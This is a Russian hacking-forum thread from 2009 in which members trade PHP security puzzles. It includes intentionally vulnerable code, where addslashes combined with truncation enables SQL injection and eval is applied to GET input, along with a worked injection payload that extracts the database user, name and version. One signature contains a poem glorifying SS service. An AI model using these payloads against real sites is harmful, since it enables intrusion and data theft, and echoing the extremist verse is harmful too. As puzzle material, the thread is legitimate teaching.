ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #181  
Старый 07.11.2009, 18:37
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Вот задачка от меня, найдите уязвимость в коде.
Структура БД:
Цитата:
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, useragent varchar(255), ip varchar(16), referer varchar(255));
PHP код:
<?php

mysql_connect
('localhost''root''secretpassword');
mysql_select_db('antichat');

//Обработка переменных
function Sanitize($data_to_sanitize) {
    
$data_to_sanitize addslashes($data_to_sanitize);
    
$data_to_sanitize htmlspecialchars($data_to_sanitize);
    return 
$data_to_sanitize;
}


function 
Sanitize_Array($value) {
    
$value is_array($value) ? array_map('Sanitize_Array'$value) : Sanitize($value);
    return 
$value;
}

$_SERVER  array_map('Sanitize_Array'$_SERVER);

$sql "INSERT INTO stats (ip, useragent, referer)
        VALUES ('"
.substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";

mysql_query($sql);
mysql_close();

?>
 
Ответить с цитированием

  #182  
Старый 07.11.2009, 22:04
Аватар для L I G A
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

(Dm) уже не интересно
ЗЫ статья +5
 
Ответить с цитированием

  #183  
Старый 08.11.2009, 08:41
Аватар для Osip
Osip
Новичок
Регистрация: 20.01.2008
Сообщений: 17
Провел на форуме:
65417

Репутация: 7
Отправить сообщение для Osip с помощью ICQ
По умолчанию

да, последняя банальна..
Цитата:
$_SERVER['HTTP_USER_AGENT'] и $_SERVER['HTTP_REFERER']
 
Ответить с цитированием

  #184  
Старый 08.11.2009, 09:39
Аватар для EST a1ien
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме:
1269624

Репутация: 114
Отправить сообщение для EST a1ien с помощью ICQ
По умолчанию

Еще более компактный код в ответ на 11 вопрос
PHP код:
 $str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
'
;

$str=preg_replace("/(\d+)/se","'0x'.strtoupper(dechex(\\1))",$str);

print 
$str
 
Ответить с цитированием

  #185  
Старый 09.11.2009, 15:38
Аватар для Termin@L
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

по поводу задания 41:
get_included_files()
функция выдаст сначала файл, из которого произошёл вызов, а затем всё что в нём заинклудилось.
задание 42:
PHP код:
<?php
function arr($amt)
{
$a=array();
$tmp=&$a;
for(
$i=0;$i<$amt-2;$i++)
{

        
$tmp=&$tmp[0];
        
$tmp[0]=array();
}
return 
$a;
}
?>
тока в последнем одна проблема - там, почему то предпоследний вложенный массив - ссылка, ну да не суть, вложенность всё равно нужная, и фактически это и есть массив, просто ссылается на место хранения другой переменной)
 
Ответить с цитированием

  #186  
Старый 11.11.2009, 12:09
Аватар для HAXTA4OK
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

PHP код:
<?php 
 $a 
= (int) $_GET['a'];
if (
$_GET['a'] == 1)
exit;
elseif(
$a == 1)
eval (
$_GET['b']);
?>
Вывести phpinfo(); всеми способами
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #187  
Старый 11.11.2009, 14:53
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Цитата:
Сообщение от Osip  
да, последняя банальна..
если ты эт про мое задание, напиши как выполнить sql инъекцию.
__________________
Cервер cs 1.6
cs.antichat.net:27015
 
Ответить с цитированием

  #188  
Старый 11.11.2009, 15:25
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от (Dm)  
если ты эт про мое задание, напиши как выполнить sql инъекцию.
Да очень просто... Я уже один раз встречался с подобным

Юзер-агент ставим:
Код:
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\
Реферер:
Код:
, concat_ws(0x3a,user(),database(),version())) --
И таким образом в поле "Реферер" запишется юзер, бд, версия. Почему? Да потому что substr() обрезает строку до 255 символов, а у нас она 256 символов - 254 нуля и слешированый слеш, тоесть \\. Ну а дальше по логике запроса идет:

Код:
INSERT INTO stats (ip, useragent, referer) 
        
VALUES 

(

'127.0.0.1', 

'000...много нулей...00\',',

 concat_ws(0x3a,user(),database(),version())

)

--')
ЗЫ: Вот тут была похожая ситуация:
http://forum.antichat.ru/threadnav134652-1-10.html
 
Ответить с цитированием

  #189  
Старый 11.11.2009, 15:33
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

mailbrush, молодец) что выполнил задание... тебе +
__________________
Cервер cs 1.6
cs.antichat.net:27015
 
Ответить с цитированием

  #190  
Старый 11.11.2009, 16:35
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Задание 006: просто зайти. Пароль не потребует
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[php] On-Line Фейк mail.ru m0Hze E-Mail 37 13.01.2010 19:52
SQL-Inj Finder by mr.The [Special for antichat] [PHP] mr.The PHP, PERL, MySQL, JavaScript 24 07.08.2009 01:30
Задания ~Fenix~ Болталка 11 13.05.2006 11:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ